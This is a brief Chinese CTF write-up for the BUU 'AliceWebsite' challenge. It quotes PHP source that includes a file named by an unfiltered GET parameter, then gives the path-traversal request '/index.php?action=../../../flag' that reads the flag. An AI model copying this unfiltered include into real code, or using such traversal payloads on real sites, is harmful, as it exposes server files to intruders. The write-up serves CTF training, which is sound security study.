BUU [网鼎杯 2020 半决赛]AliceWebsite

本文主要是介绍BUU [网鼎杯 2020 半决赛]AliceWebsite，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

BUU [网鼎杯 2020 半决赛]AliceWebsite

开题：

hint附件是源码。在index.php中有一个毫无过滤的本地文件包含

<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {include $action;
} else {echo "File not found!";
}
?>

../往上跳目录，在根目录下/flag文件中找到flag

/index.php?action=../../../flag

这篇关于BUU [网鼎杯 2020 半决赛]AliceWebsite的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---